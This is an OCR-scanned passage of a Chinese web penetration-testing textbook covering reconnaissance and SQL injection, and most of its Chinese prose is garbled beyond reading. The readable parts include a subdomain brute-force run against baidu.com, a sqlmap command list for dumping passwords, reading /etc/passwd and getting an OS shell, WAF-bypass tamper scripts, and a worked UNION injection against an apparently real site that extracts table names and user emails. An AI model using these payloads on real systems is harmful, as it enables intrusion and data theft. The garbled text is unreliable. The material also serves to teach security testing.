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15 WebiZiZ i (Penetration Test) ? AH{HE KX Web#iAPa A, BENA—H L TR
AP R R RIS R SGT, SRVPE TRV RGN 7, B RIRGA AR, W
TBERE G WM RGN IAE, IHHRMMER TR . AR A Webh H &k 55 45 (1)
BIEWK, WS ALTEA T AR E I A e

ﬁﬁﬂﬁw&mWﬁﬁﬁAﬁ,ﬁ%&%b%%ﬁ%gﬁﬁ,%%%Q@?iﬁ,

IR T
3.1 &iEfE IR

HRAEEWebZE NS D, WRBRELEW L s R T WebiBi&, IRZ T
YRR — DS R« — UGB RSB R K, ArlE BHRE T LLEAA1Y]
BT RBIE R AR, iJE S AR R AR BRI O o AT SO S B 2 1A R, AR
AT BN, A BRI ON, A MBLRA SRR 782k
BRI, 5 SRR “ B, AR PR, EEA LTI R TR
SRS S o N HEFRA TR T — 228 RS BHRE TS CX AR A2 “fE EY
7 AR AFEWER” , RO M7 FREE A HRIU NN B S L, A e IR
ﬁﬁﬁﬁﬁ)o

3.1.1 RSF=HEREE

TESE Ml ? B — RSS2 B 2 AN Websi £, T FRATTHIBE H bp & H b g —A
Webdili i1, UBATTTICIESE T Hbsul Sy, WAy DL IR 454 B Al fdk A Ti8iE, 2R
Jo PRl I B H S e R A ST VEEE T BARuh Al WL S uh SR AR W T .

(1) AFBIE H AR ELSIPHLHL o

(2) FIHAMEEG. TR EIPHLE,

2. O

— G VNI i EVRE TR R 25 A2 0 ), v DN 8 T DA SE ek s 144
RECT f# H bR TFICT WREE IR S5, w80y X . T HTTPARSS, 33063 XN, T MySQLEL i
JE, 14333 0B T MSSQLAHE 4 o 38 % s R 234, AT v LUK SBn i H bs
WA T A2 B P, T DL AT B EE R . AL, i D S I A RN
Je SARIARA AR & OGS AR IR i 4 X SO TR ?

(D 5. R2-Fa Rt D ohte, I HA AR WIR S5 B A b6
WE3-157%
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o MESt
WS :

P/ - E @

TEi&N

BEE T AL S RS O R R T,

BHEROS :

HERERERUTRED

(1) . HTTPHHUEERREERA=1S : 80/8080/3128/8081/9080
(2) . SOCKSHERURERRABROS : 1080

(3) . FTP (3idiEa ) tERESRER0S - 21

(4) . Telnet ( FEER ) thitBRSHRERD : 23

HTTPERSERE | BRASUIRO S 480/ tep ( AR ExecutorFrRtERD ) :

HTTPS ( securely transferring web pages ) BEHE . R\ AE0S5443/tcp 443/udp ;

Telnet ( FRLATTFER ) , REAROSH23/tep ( ABTiny Telnet Serverf el )

FTP ., EiAsu 123521 /tcp ( #2Doly Trojan. Fore. Invisible FTP, WebEx. WinCrash#lBlade Runnerf im0 )
TFTP ( Trivial File Transfer Protocol ) , BARIROS569/udp ;

SSH (=28F). SCP(rittEa ) . WOEER . MAsR0S522/tcp :

SMTP Simple Mail Transfer Protocol (E-mail) . RARIROS7425/tcp ( <3 Antigen. Email Password Sender. Haebu Coceda. Shirilitz
Stealth, WinPC., WinSpy#lFfatiz-#0 ) :

POP3 Post Office Protocol (E-mail) . RGARROSH110/top =

WaebLogic , R\ S47001 ;

WebSpheresffBRRF | RGAMIRIS73H9080 ;

WebSphere=ETHR , RiAfw0359090;

IBOSS . RUAFER[1S4H6080;

E3-1 EZmOAETE

(2> TH. s H4# THE3-207R. B A
Made By BEENME [ Fopl/E HabRFHIED.
1p:[192.0.0.1 ~Jisz.0.0.1
. iz : i
3 . 1 2 Web{g l%\;%% B0 £ [21, 25, 80, 135, 138, 1433
i i sk |E] mens

| 5|
1. ZhiEi& E3-2 mOfFA%ITAE

LI ATV B MAANT , AR BB R LRI, 11 T2 5 Hh L
BIRISQLYEN, FEFE B B BRI B AR i, S SR % 0] LRI P T35 (007 A AT 25
SRR TS 2, R IS B R e 4. FEI3-3ME R - /MPython I AR
T RE( A4 MR 1 5

B8 BES: python - subDomainsBrute.py baidu.com -f subnames.bxt -o xixt
red.baidu.con 10.26.3.240. 10.91.168.44, 10.36.4.130, 10.42.4.86[B]

enjoy.baidu.com 117.185.16.17

me . haidu.com 18A.149.132.155

nt .bhaidu.com 10.288.6.11
111.13.12.2681,. 111.13.1P0.159
119.75.218.78. 119.75.217.189
18.99.57.42

everything.baidu.com 61.135.162.183

zhanzhang .baidu.con 180.149.132.230

bs .haidu.com 220.181.164.42

ddm. baidu.com 10.50.14.165. 10.26.5.60

br.haidu.com 61.135.185.136, 228.181.57.21%

atom.baidu.com 10.26.25.78

btp.baidu.com 10.46.135.26

zhidao .baidu.com 111.13.12.183, 111.13.196.13

mobile .baidu.con 220.181.163.133,. 180.149.131.211

taiwan.baidu.com 220.181.57.216, 228.181.57.217
aws .haidu.con 10.220.146.5%

v ng.baidu.com 111.13.1@1.58

song.baidu.com 180.97.33.13%9

art.baidu.comn 10.42.137.45

hillhoard.baidu.com 10.46.7.199
ns8.bhaidu.con 111.206.37.164
211 found ! 4879@ remaining ! 6341 scanned in 224.32 seconds

E3-3  F RAMZARE H2114FiE &

2. BXER
wBiED, HEEWAFEENGER. WRAS TR H S, {0 LLgs & N T
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GetShell (HUGABR) , 1A TWebH &, A7 LLZRAXS G & bk BEAT 10, X & 3¢
PEREAT AR . F U] AL H S s, i 3RAS H i Wk R ik .
(1) phpinfoFI#REN A+« phpinfo LA EI3-4FT 7R

E3-4 phpinfo3z
PHPHREF ST BT 3-5 01718

mEsmEAmE 0 e « 173.245.62.98

BEEHA e v ge Jan 22 16:19:10 EST 2013 xB6.64
. Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/0.9.8¢-
REESERER PIERRRE : 2.6.18- L. 3 T 5
H R 2 oY fips-rhel5 mod_bwlimited/1.4 mod_fcgid/2.3.6
FRERERS zh-cn,zhjq=0.8,en-us;q=0.5,en;q=0.3 Al 80
e e . .
SEEE webmaster FEEEE |
2013-03-18 03:43:12 | BESEETHE | 48F13E1ST53 8
CPUBIS 1681 AMD Opteron(tm) Processor 6128 | | —HERS12KB | i x16
CPUGFIRR 0%us, 0%sy, 0%ni, 100%id, 0%wa, 0%irq, 0%softirq | ZEEE=
ETH13210436, B 820026, S 1238951 G, HAE6.21%
—

ISR $£31438 G, EA 9.251 G, @ 22.187 G, (FREE 20.42%

Cachelk/#F5 7.748 G , BRI 24.65 % | Buffers®M 0.571 G

— FSEPI A 0.932 G, HSCARFEI 30.506 G, (M8 2.96 %
SWAPEE - 2:33.406 G, B 0 G, 2/ 33406 G, FIE 0%
i
EHFHnE 0.02 0.05 0.00 1/365
lo: Ellr: 998 M 728K 6728 Bt 998 M 728K 6728
eth0: =0 Bz
ethl: BE: 23G 676M 940K 6208 B#sE: 29G1016M 610K 1023 B

date libxml openssl pcre z1ib bcmath calendar ctype curl dom filter ftp gd
gettext hash iconv session json mbatring mysql posix Reflection atandard SimpleMML SPL sockets
SQLite imep tokemizer aml imlreader xmlwriter cgi-fogl eAccelerator ionCube Loader Zead Oprimizer

(phpinfa) PHPINFO. PHPYE ( php_version) : 5217
PHPEEEH « CGI-FCGI HESEERAR (memory_limit) : 5000M
PHPZ2E:L ( safe_mode ) : x POSTAIEREAIRS! ( post_max size) : &M
_HETRFARH ( upload_max _filesize ) : 20M o ( precision ) : 12
Wlﬁiﬁﬂlﬂ m?l;efecutiunjme v 308k socket@BRIAIA ( default_socket timeout) @ G0%

< gl ® FAPIRBR (userdir) x
dIDEEN (enable dl) : v FEEAAWERR (include_path) : X
( display_errors) : v BEVLBER ( register_globals) : x

E3-5 PHP#E$tx#
(2) MR, EBEY, BRI R, SAHERGIEMEE, 4
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A EAABIBOR .
A AR R G B
domain: JAdomain4~7T VA& Ik — R sk eg 48415 8,
filetype: FR&| &R LA REA . B B3] T A& K49 T £ A A pdff.doc/ xIs/.ppt/.itfs
inurl: FRZ &4 I B2 R 3% % URL4E 4.
link: 35 9ME 354,
site: P 3h BRI & 5 KR KB4,
intitle: %% M WARAL P44 69 <4239,
(3) FAfEEE . X1EE HARF W B ST 58 IR AE e D7 VA R TR 26 22 A 1 4
R 16 P9 2 A 28
(4) e, Teh7rzdE A NEEMIMER, AR —LERRT H 5.

vV V VYV YV V V

3.1.3 Whoisfg B# &

Whois RIS A4% ZE ) PR, e HISK 2 344 TP sk LUK e 5 4545 R AR S il M
2% EAHIRZ R MEWhois I K&, WIE3-61s, ¥ HAREA AL, r] LA S H AR
Ul 5 A4 I g5 s« DNSJIRSS 4% BA S HAt S AL 6L

HEWhoisEig T B

EEABEEEMNSE: | mapers.net e

mapers.net ERidEEEwhoisEE:

mapers. cc v =il

mapers.net {9 H1H: iUl ST JEmpR SIS PAEE PREYE FihbREE AecHew Akl
Jgia8: mapers.net fialthFERs

FHIBERET 2015-06-06 20:57, 5 WHIE
SEAARE: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
EFAiE: 20155025018

BiEAiE: 20155015108

dHARdiEl: 2016018108

{5 ABE3E: whois.PublicDomainRegistry.com
DNSHES2: F1GINS1.DNSPOD.NET

DNSHRS5E3: F1GINS2.DNSPOD.NET

felsalizs: EEMIRETEAELSIEER http://www.icann.org/epp#EEFIRE TR FEELLEIRIP

E3-6 Whois&EifJ&R

314 REEERE

CHRAT R ROIERIUGE, BRI, B A CRE SRS 4
B J5 . BB, A AR R B Rl R — LR A R A R 4
R2 G T TAERI A, 20 7B i e ax ik, R ] — 2 1 AR D0 %6, i
ARSI A B S o FRZ AT RESARA LR S AL TIEXEIE HARIK) 61 T4 FdEA T
AR, RJA BT MU BRI . BRI 5, R e, hE IR
VEHEAT, BIUNSRAERY: TR RREE i ek, XA S S VAR .
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3.2 SQLiEA

SQLIEN WA LA R ALY T, 14>, SQLIE AR fiifr Bk TRz —, JF
RS HAGE T 4R, BEOEd FEABGERREE, —AHE, 24MEA, 2
Mo

SQLYEATRTLAZ) A TRMTF T, THECH AL, WHSHT TaiRE, HK
N HIFARA PRI EN, AT THEABRR TIRZ .

3.21 EANHIESE

—VPMAER AT ReA 165, ASHH T B A T BeAA(ESQLIEAN 1 F T S s 1 S B E,
o ARG L. APT AL httpSk IS4 RT3 T A T SQLIA: A4Z 4k 2

X E ) T HBurp.

i1 13-7 0] U SBIERAE I ) Websili 55 k1% 1) 455 S hetp 08 0. B0 b 60 2 T heep Sk A
RGN SH, TENEH R AR e S50, E3-8W FL i T hetp¥dis (it &ty CRJy
HEAhttpsk, NTHENSED .

[ Burp Suite Professional v1.5.18 - licensed to LarryLau [EqE=0)

Burp Intruder Repeater Window Help

Target | Proxy, T Spider

[ tercept | Histony | Options |

Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME t
103 hitp:/iyunfangwl.com GET  Jcommon.asp?id=1 @ O 20 839 HML
104 hitp:/iyunfangwl.com GET  fiew.asp O O 200 8118 HWM
105 hitp://yunfangwl.com GET  /proasp O O 200 10428 HWML
106 hitp:/iyunfangwl.com GET  fjobasp O O 200 7637 HWML
107 http:Alyunfangwl.com GET  /gbook.asp o O 200 12470 HTML
126 hitp:/iyunfangwl.com GET  fisfis.is 0 O 200 666 scipt
131 http:www jsxyidc.com GET  /Ixyems_jsfjquery.DB_tabMotion... [ o 200 377 script
132 httpfiwwwjsxyidecom  GET  fxyems_jsfiquery js g o seript
134 hitpswwjseyidecom  GET  /xycms_js/common js g o script
[E1S

E3-7 TSR SRS

l Previous Jl Next J{ Action J

Request

Raw ParamsTHeaders Hex

POST /common.asp?id=2] HTTP/ L. L
[Host: yunfangwl.com
User-Agent: Mozilla/5.0 (Windows NT &.1: rv:39.0) Gecko/201l00101 Firefox/39.0

T

Accept: text/html,application/xhtml+xmwl, application/xml;q=0.9,*/%;q=0.8
lA\ccept-Language: zh-CN, zh;q=0.8,en-US;q=0.5,en;g=0.3

lAccept-Encoding: gzip, deflate

[Cookie: ASPSESSIONIDQSAQSASA=AAEAJCEBECGIKIHHFMIPHCGGA

Connection: keep-alive

[Content-Type: application/x-wwu-form—urlencodsd i
Content-Length: 4

- |

3
v

‘LJEJEHZH Umatche;
E3-8 & T httpBiE G M
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RECT 8 T EAR A UG, R UTARATE RS 1. Prifiz, wie Ak
NSEOEA W B EAN o N RIS R WA W5

1. |REEN

AL, ORI GRS A T 7 I AN GR] LAR T M R A N TR
SISO P B A AR PR, AT AR TR B URE P IR I T o TR AV NS i N — SRR B
FRAEEE SRR, W AIW R AN, W IR R AR .

(!

(2)\

(3)

(4) %00

(5) )

(6) (

(7) #

| "

TEARAE S HUN I FIX SR R -1, W SRR e, B AA e — MEA R, WE3-9
PR o

€ @ www com.cn/news_detail.asp?id=146"

INT ¥| = % SQL- X55- Encryption Encoding= Other-
@ Load URL

2 splitURL

¥ Execute

[7) Enable Post data ] Enable Referrer

Post data

Microsoft JET Database Engine $iR ' 80040el4’

FHENFENR THERRAS =16 e

/news_detail. asps T 10

E3-9 B3| SRELS]

2.5iF

A EVE? FHESCEEARERE N A, IR 23 IR (9] — S84 2 ) R AR
MEEH iR ltrue 5 false P ARE, AR ARAG 2 (45 BBEAT R RTOAH EEAR BN
BRI BT o HIIEED R, AR EMSE TN X RIX
TAE T FIWHEN I GAEANTR] o AT R B AL X 0 o 2 F) A L AT, T I TR
VE 2 B A REISTE N SO0 1 W 2 P B TR 2R 4 7

XA RRE AR BRA K BT IR A5 RN, WSRO I AT LAt AL 2, mT B
IR FRGA SORBAT HE . AR REE . R A IS G UL IERI, #SQL
AWIH A ESIRIPEER, AW B T IR N TR, aTeOs e A K
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UORMUBREN T4F o B WL AW ikt s 4 L /2and 1=1; and 1=27T, 4#4Cand 1=1Hf
UM IEH , and 1=20F BUITANIE R, WIAEEEN AN, XM 5 i e 50 T 24
1, HSHIMIES or 2>1; or 1>2; xor 1=1; xor 1=2% . {HXTFFRASH, HHM
A2 and '1'=1; " and '1'=2, JLHIW BB A A

YT EET IR E T, — BORAESATE EF 2R LT () e 24 AT T k%) i
I —FEANTTT . AMySQLo I, 0k 2L i 40 W 5 vk 3= 22598 M sleep Mibenchmark P4 /> B
$, X Llbenchmark pf A 1 HEA T 21

BENCHMARK ( count, expr )

HAE 2 EH countX $iAT R IE Nexpr, $8AZ 5 A 4 L g 57 B (1] Sk ) By 2 ik o 1
5, BTN B, WIEEAN A TRBEA L 3, BER SR mEm Pk
PIEVE S

322 IEHIFEN

Bt NBGEAT, i b T HPMRBE A E L . W WA sqlmap. Havij%, 1
tsqlmapAh S 2 JTFUR DHRESE KNSR i, 28T KA A IS . AR 40
fiEWindows 24t K sqlmap[F i H .

1. sqlmapHi %3t

—

(1) sqlmapfs ZEEPython 5 N A fEIa 1T, DA L désqlmap 2 {75 2 %% Python.
fEWindows I, F#Jfi217Python/t) %36, Pythont 12 xHRA 53 xiATERE A —x 2=
st FTUABATE 2.7 20504 (Python P RRAS ] i & AME AT BRI 18, 5567 2 BB B m) LA
H A RTOREAT T, WE3-10017w.

(2) RHGER G, TFBERMHEAL . ZREEED: \python, AT “IRATH
g7 — “J@PE” s, I “mg” Bk, wE3-110R.

o =)
WEIE [ | S | FaRREE |
ERITASHEN HEREAEIERER.
15 Python 27.2 Setup E=3) HEE
Select whether to install Python 2.7.2 TR SHBEAR PITPRA LLRENE
for all f thi ter.
for all users o1 IS computer. W
® Instal for al users APEETH
. ; SHEEFEANSme R
(© Instal just for me (not avaiable on Windows Vista)
a
EEIRIRER i E
REhEh Rt AntiER
thon
il +
windows
Eeck G )
E3-10 WindowsIiiE T &3 Python E3-11 BEE{TINE
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#38  WebigiEillizt

(3) i “HEAE” $54l, AfEpath I IND: \python CZeikir) JF{RAr, Nl
3-12078,

(4) PythonZJPLE 5C )G, T aisqlmap R4 IFif Ik, fRIKE12Z&D: \python\
sqlmap\. IR AF, Hedin 2 V)4 2sqlmapfif = #42, iRAEI21T— Fsqlmap.py, £
AR A ), WE3-13017K.

HinE =]
wEnslEe | B8 | Reer g |
RS =]
= BES: python - sql
Adnin strstor (1 SRR (1) pft e Sy
t Windows
T s pporation. 1755 F
=@ & T <c> 2089 soft Corporation. {FE5ET
PATH D:\python>cd sqlmap
REEHTE (=3 D: \pythonsqlmap>sqlnap. py
Usage: D:python“sqlmapsglmap.py [options]
TEE Fath lqlnap.py: errar: sing a mandatory option (-d, -u, -1, -m, -r, -g. —c, ——wizal
rd, ——update, — —output or ——d e ies>, use —-h for basi r —hh for ad
. TS et b —gwiio: e o —erotmion, w0 < Gre Lol o L foe ot
[ Fress Enter to continue. ..
T —
Fath LW indows\system3Z:C: Windows: T
FATHEXT COM; . EXE; BAT; CMD; VBS: VBE:
PROCESSAR AR AR -
FEw.. | FEo. | [ #mEo |
L e
ML i —N LA = [rml
E3-12 ZERETS E3-13 HEEEBLIEMI

2. sqimapHJ{E A

sqlmapse — ¥ HEML TH, FEFIDMAGLSITEAN LG~ X BAR
¥ H#RURL Mhttp://url/news?id=1)

sglmap.py -u "http://url/news?id=1" --current-user #FRE S H B PR
sglmap.py -u "http://url/news?id=1" --current-db #IRBCY BB 2 R
sglmap.py -u "http://url/news?id=1" --tables -D "db name" #7l&k%&
sglmap.py -u "http://url/news?id=1" --columns -T "tablename"
users-D "db name" -v 0 #5117

sgqlmap.py -u "http://url/news?id=1" --dump -C "column name" -T
"table name" -D "db name" HREFEANE
sqlmap.py -u "http://url/news?id=1" --smart --level 3 —--users

sglmap.py -u
sglmap.py -u
sglmap.py -u
sglmap.py -u
sglmap.py -u

"http://url/news?2id=1"

"http://url/news?id=1"
"http://url/news?id=1"
"http://url/news?2id=1"

"http://url/news?id=1"

29

#tsmartFHEE level TMIKER

-—dbms "Mysql" --users
#dbms & E £HR AL T

--users #5IE AR A P

--dbs #HVEIE

--passwords HEURE B B

—--passwords-U root -v 0
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#5 K38 B P EUEE RS
sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id"
-T "tablename" -D "db name"

--start 1 --stop 20 #FHIBETER, 7IH20 %

sgqlmap.py -u "http://url/news?id=1" --dump-all -v O
#7 B B AR
sglmap.py -u "http://url/news?id=1" --privileges #&E&EMNR

sgqlmap.py -u "http://url/news?id=1" --privileges -U "WEB USR"

¥ EFIEE R PR
sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #EGiEESER
sqlmap.py -u "http://url/news?id=1" --roles HERIRER AL
sglmap.py -u "http://url/news?id=1" --udf-inject

FSANBFBEX R (REAFER! )

sglmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs
-v 0 #7) E HRIEMB R
sqlmap.py -u "http://url/news?id=1" --union-cols #union EEFRICHK
sgqlmap.py -u "http://url/news?id=1" --cookie "cookie" #cookieyFA
sgqlmap.py -u "http://url/news?id=1" -b #3k B bannerE 8
sglmap.py -u "http://url/news?id=1" --data "SearchValue=lgf X5
Heeslic=1" #postiFA
sglmap.py -u "http://url/news?id=1" -v 1 -f HELUH BB PR A 2L T
sglmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118"

#RIBEA
sgqlmap.py -u "http://url/news?id=1"--string"STRING ON TRUE PAGE"

#EE LRI
sqlmap.py -u "http://url/news?id=1" --sqgl-shell #M{TIEEsqlS
sglmap.py -u "http://url/news?id=1" --file /etc/passwd
sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #HITRAZKHS

sgqlmap.py -u "http://url/news?id=1" --os-shell # ARG Hshell

sglmap.py -u "http://url/news?id=1" --os-pwn #/25¥shell
sqlmap.py -u "http://url/news?id=1" --reg-read #EEBwinAR% TMF
sglmap.py -u "http://url/news?id=1" --dbs-o "sglmap.py.log"
HRGFHEE
sglmap.py -u "http://url/news?id=1" --dbs -o "sglmap.py.log" --resume

PRECRFHE
sqlmap.py -g "googlelBJA" --dump-all --batch
#googleBF AR B MBEETFE
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3. IWAF R &5t

LESE R AR, JHFIWAF (Web Application Firewall, Pk 2% NA7 B 1l &
40 AN, BATT LS WAFR i T AR, A5 1 sqlmapXf WAFH S8t
7Esqlmap, H-tamperfiy 2 n] LA N B ZE A,  HARTE % X insqlmap.py -u
"url" -v 1 --dbs -tamper "JHIA ", K3-15EH H A2 LAVEH
#*3-1 sqmapE AMAZREER

[N £ A

apostrophemask.py Hutf-8/0%% 5|5

equaltolike.py like 10555

space2dash.py SRR = B TR AR ()

greatest.py Lk iy >, HGREATESTH#: K T5

space2hash.py TR T BN DL AT AT

apostrophenullencode.py S BRG], BRI

halfversionedmorekeywords.py | 5/ S8 T2 BTN My SQLAR A VT it

space2morehash.py R R DL 2 BT A R R T A

appendnullbyte.py TEA R A5 oA BN 70 T4 i

ifnull2ifisnull.py 2El % IFNULL 1 3

space2mssqlblank.py PR AL A S

base64encode.py FHibase642miis 5

space2mssqlhash.py B

modsecurityversioned.py TPk, AL e A R AR R

space2mysqlblank.py R e HA A 1455 (mysql)

between.py Hbetweent 5 KT (>)

space2mysqldash.py BT () C =) RS E R AT Cn

multiplespaces.py [l ZeSQLICHE i I 2 A~ bk

space2plus.py H+E 475

bluecoat.py BTG H— MBS A AP ISQLIE ), AR5 ="l like
_ A1) I fpredefined SQLIKHE Fwith# 7 suitable forffft (f

nonrecursivereplacement.py i1 replace("SELECT" . ""))filters

space2randomblank.py Mt DI e N iV I s S SR B Y S RINE SR E S

sp_password.py 1B nsp_password, MDBMS H i ¥ 5 SRR AL B KA 2508 A I A2

chardoubleencode.py XLURLZ Y (CANALEE 2 gmtidh 1)

unionalltounion.py % #UNION ALL SELECT UNION SELECT

charencode.py URL%ifi4

randomcase.py BENL NS
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M (I
T FRF5EL GPC addslashes

JH /%143 FISQL it 7

P45 Unicode 4

BRI T4 R

versionedmorekeywords.py R

unmagicquotes.py

randomcomments.py

charunicodeencode.py

securesphere.py

halfversionedmorekeywords.py | J<8E~ Hi IERE

323 FIEAN

EBENR, PR RN THABSH R RYE, 1T TEAG R R X — 59 £,
AR, T LENTGEBIEF R SR R s FEE A — o T . A, BASQLEAMR
RS Z R, WRTEARA I YE, R RS A X, Bk R R AR
TN LI 45 R 2K 7R

(1) X2iE B bt AT E N2, X EXZ I R AR T . i THEA
R ERT AR GR AT NN T, WiE3-145778

Content-Length: 13

[Cookie:

[Hm lvt 97234B85el19fl&3eBe518cag94e958ckh9=1435851291;

[Hm_ lpvt 9723485e19f163=8e518caf54e959chS=1435891445;
1hE1ma—73kas"rc[sstl”tﬁt.nsﬁh" 1vrs0;

[frz__ Session=g90te4milgggacgdcmovolnglhdl;

[frz_ user login=Z-3T1B8rjlNPLwNSj4crOlfLMyoywoNbHlervINFR
NeCmESulsyYw7DZzNTRnulJye bli-dxduvysfOnN Fnc-WrpPhy9vi
oyEnLKbmoywoLunwNS3ttDnz-bPxpoog; -
ICNZZDATA1DOOOS524616=1204303738- 143588638 1-https253A%252F%
FS2Fwww.iheima.com¥Z52F%7C1435886381

Connection: kesep-alive

Pragma: no-cache

Cache-Control: no-cache

[copic_ticle='

Database error

SQL: SELECT ‘aws_topic’ .* FROM ' aws_topic’ WHERE (
topic_title = ''') ORDER BY ) tnpic_id‘ ASC

Error Message: Mysgqli prepare error: You have an error
in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to
use near '''') ORDER BY 'topic_id’ ASC' at line 1

exception 'Zend Db Statement Mysgli Exception' with
message 'Mysgli prepare error: You have an error in
your 50QL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use

near '''') ORDER BY "topic_id’ ASC' at line 1' in
fdata/www/ask.iheima.com/system/Zend/Db/Statement /Mysql
i.php:77

Stack trace:

#0

E3-14 MySQLEHE R RG]
EE: X ZA3F T Burpfrepeater 4t o
H1 13- 14 7] LA BIPOST | (2 $itopic _titlefFAERANEN, XA T 1514, &R
THPRE R

B s B IR BT AR K AR W

SELECT 'aws_topic'.* FROM 'aws topic' WHERE ( topic title = ''') ORDER

BY 'topic id' ASC

(2) X2 %MySQLE W . FRAEF A ML fr TiH A A&, 24
LA B S iE W
SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title = 'xx'')

ORDER BY 'topic id' ASC
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(3) HiE THRAHEA Frab A e, A DU SRR R 3R B A 2xx"D
» TRAEWEAHARKT

SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title = 'xx') #')
ORDER BY 'topic id' ASC

MH#EMySQLH 2T REAT, FTLASEbr L s f 28 m T -

SELECT 'aws topic'.* FROM 'aws topic' WHERE ( topic title ='xx')

(4 BTG . RIS 1 A N 202 -
Y) ENIEG #

(5) GNEFEANEAMKRRT, FREEAMENARY, KA EAEWHERES, L
HEEH S T E BTN . 26HJORDER BY #E745#, 7/ LLE FORDER BY 16
I IEHR[A], [TJORDER BY 170 4R 4 . R AT DL 3

') UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #

WE3-15077%, AT IEH R, PRI AT DOA WO SCRFI G A

[Content-Length: &

Cookie: {"status":"1","res":[{"topic id":"1521","topic title":"
Hm_ lvt 97234B85e19f183=Be518caff4e959ch8=143568591291; ","add time discuss count':"1","topic_de
Hm lpvt S9723485=15f163eBe518caE94e959ch9=1435691445; scription” . ","topic lock":0,"focus coun
iheima=73kaS52rg55tl12tB8tnBEhl lvrs0D: ":"1","topic title":" , d time":"3","discuss count':
frz_ Session=S80tedmélgqgaqdcmovolnglhdl; "4","topic_description":"5","topic pic":"6","topic lock

frz_ user login=2-3T1BrJjINFLwNSj4crOlfLMyoywolNbHlervINFR Jsort":"16"}],"info" : "\u6210\u529£"}
[<NeCmESulSyYw7DZzNTRnubJdyc blZ-dxduvysIOnl Fnc-WrpPhySviW
royEnLFbmoywolunwNSjteDnz-bPxpadg;
CNZZDATALOD05Z24616=1204303738- 143586638 1-http¥Z53A%252F%
Z52Fwww.iheima.com%Z52F%7C1435886381

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

topic_title=') UNICHN SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 |

3

E3-15 Et&EN
(6) Huser(). database()%5pREARHE 2 A ikt
') UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #

WA, 2R WE3-16F17R.

Pragma: no-cache
Content-Length: 583

{"'status":"1" ,"res":[{"topic_id":"1521","topic_title":"
","add time":"1421635405" ,"discuss_count":"1","topic de

scrlptlnn"'"“ "topic pic":"", “tnplc lock":0,"focus coun
":'ask@ . .61.105" ,"topic title":"2" "add t1me":"3“ "
discuss count":"4","topic_description":"5", “tnplc pic":

14" ,"type":"15","sort":"16" }],"info" : " \u6210\u529%" }
E3-16 ZiHIEERFAZ
Al LA Fluser Hask@*.*.61.105, - Ffuser()E # il database()ikix »
WE3-177, XL AT DR B 7 ask, 4 T ORRSBEIRA . Wik
') union select group concat (distinct table name), 2,3,4,5,6,7,8,9,10,

11,12,13,14,15,16 from information schema.tables where table schema=database() #
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FPragma: no-cache
Content-Length: 570

{'status":"1","res" :[{"topic_1d":"1521","topic_title":"
","add time":"1421635405" ,"discuss count":"1" , "topic_de
scription":"", "tepic_pic":"","tepic_lock":0,"focus_coun
":"ask","topic_title":"2","add time":"3", "discuss count
":"4" ,"topic_ description":"5" ,"topic pic":"6" ,"topic lo
5" ,"sort":"16"}] ,"info" : "\u6210\u529£"}

E3-17 EMBEES
R, WE3-180r, nTUESIRA CAERMIER T T .

Pracma: no-—cachs
Content—Length: S08

{"status":"1" ,"res":[{"topic_id":"1521","topic title":"","add time":"14216354
05" ,"discuss count":"1" ,"topic description":"","topic pic":"","topic lock":0,
" fncus_cnuntﬁ: o," llser_related“?l] ,Murl token':null, “me;ged_id“ HL sen:title“ m
ull,"icon":null,"pid":0,"type" :"gquestion" ,"sort":0},{"topic_id":"aws active d
e_comments, aws_article vote,aws attach,aws category,aws_draft, aws edm task, aw
s _edm taskdata,aws edm userdata,aws edm usergroup,aws education experience,aw
s favorite,aws favorite tag,aws feature,aws fea","topic title":"2" ,"add time"
n":"10","merged id":"11","seo title":'12","icon":"13","pid":"14","type""15",
"sort":"16"}],"info" :"\u} -

E3-18 MIpBEERE
PR sk, WLLH A BIREE, WE3-190TR.

aws_active data
aWS_AnSWer

AWS_AnsSWer _comments
aws_answer_thanks
aws_answer_uninterested
aws_answer_vote
aws_approval
aws_active_data
aWs_aAnswer

AWS_AnsSWer _comments
aws_answer_thanks
aws_answer_uninterested
aws_answer_vote
aws_approval
aws_article
aws_article_comments
aws_article_wvote
ams_attach

aws_category

aws_draft

aws_edm_task
aws_edm_taskdata
aws_edm_userdata
aws_edm usersroup
aws_education experience
aws_favorlte
aws_favorite_tag
aws_Tfeature

aws_Tea

E3-19 REMTEE
YE—ANRAAT IR B, IX ALY £ aws_edm_userdata, Hhex{H 40x6177735f65646d
5f7573657264617461, [AILAIE I Fifif):
') +union+select+l, group concat (distinct+column name) , 3, 4,
5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16+from+information schema.
columns+where+table name=0x6177735£65646d5£7573657264617461 #
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25 BN 3-20F1 718 .

gma: no-cache
tent-Length: 585

tatus":"1","res":[{"topic_id":"1521" ,"topic_title":"", K "adc
topic description":"","topic pic":"","topic lock":0,"focus
11, "merged id":0,"seo title":null,"icon":null,"pid":0,"ty}
topic_title":"id,usergroup,email","add time":"3","discuss_
_pic":"6" ,"topic lock":"7","focus count":"8","user_ relate:
seo_title" :"12})

E3-20 REIFE
MEE R b n] DUE 247 7Eid. usergroup. email = 7B, X B H B FE Hemail 7B
el , AW EA:
') +union+select+l, group_ concat (email, 0x2B), 3, 4, 5, 6, 7, 8, 9,

10, 11, 12, 13, 14, 15, 16 +fromtaws edm userdata #

SR E3-21 7R
{'status":"1" ,"res":[{"topic_id":"1521","topic_title":"","add time":"1421
;"topic description":"" "topic pic":"" ,"topic lock":D,"focus count'":0,"us
ull,
2770275
"6","topic lock":"7","focus count":"8","user related":"9%9","url token":"10

le":"12" ,"igcon":"13" ,"pid":"14" ,"type":"15" ,"sort":"16"}],"info" :" \11621']\

E3-21 FAER

3.24 FENIEfH

